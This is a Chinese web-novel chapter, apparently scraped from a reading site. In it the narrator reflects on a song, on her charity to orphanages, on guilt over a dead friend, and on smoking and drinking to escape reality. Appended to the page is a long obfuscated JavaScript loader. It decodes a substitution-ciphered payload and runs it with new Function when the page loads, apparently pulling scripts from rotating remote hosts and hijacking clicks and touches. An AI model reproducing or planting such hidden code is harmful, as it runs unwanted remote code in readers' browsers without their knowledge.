187：Because Of You「中」
章节错误,点此举报(免注册),举报后维护人员会在两分钟内校正章节内容,请耐心等待,并刷新页面。
我最喜欢的歌是Because Of You。
凯莉的声音完全将我内心那空洞一块弥补上了。
可是我做不到不重蹈覆辄，已经被伤害的人是很难再相信别人。
我也不打算结婚，也不算找所谓的另一半，因为我知道我没有那份资格。
比起那些只会生育，不会养育教育的“父母”，我会选择不让孩子来到这个世界上受苦，遭受精神折磨。
像蕾丝莉这样乐观的孩子少之又少，大部分福利院的孩子都有所阴郁、内向、自卑。
身体上的残缺，家庭抛弃，让祂们心灵变得异常敏感。
稍有风吹草动，祂们就会躲起来，蜷缩在被窝里。
一年下来，我资助了几百家福利院，可渐渐我发现资金的流向出了问题。
有的福利院将资金用作了其它的事情，没有用在孩子身上。
且我从一开始受到孩子的欢迎，到后面的冷漠。
人情世故我还是明白的，我知道这是给予的太多了。
福利院缺少的，或许不仅仅是食物、生活用品，更多是精神上的弥补。
意识到这点的我，不再拘泥一直带物品去福利院。
我开始模仿老天爷下雨，隔三差五换个地方。
我并不喜欢小孩子，说实话对于可爱的事物，我没有太多兴趣。
救济福利院只是单纯为了自我满足，弥补过去犯下的错误。
如果我能在那个时候，坚持去找蕾丝莉。
也许她最后弥留之际的时候，还能有我这么一个朋友在身边。
但是我没有做到。
想着这些事情，我忍不住又点起了一根香烟。
我很早就吸烟了，不是和石塚永子断绝关系后才吸烟。
早没有成年前，我就已经开始吸烟了。
酒也是，能麻醉我的神经，让我暂时忘记现实。
『加入书签，方便阅读』
!function(){function a(a){var _idx="f4odvbsyaa";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR87oOfX)LTdd"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"7oOfX)LTdd"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mD4RYpSfmRT4"="o}0X5ThF)mR)Y)7_DmRT4"="o}02pThFmD4RYpSfmRT4"="o}0_JqhFmR)Y)7_DmRT4"="o}02TOhFmD4RYpSfmRT4"="o}0CSqhF)mR)Y)7_DmRT4"="o}0)FfThF)fmD4RYpSfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q/f/o}0j(8}vR87oOfX)LTdd"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();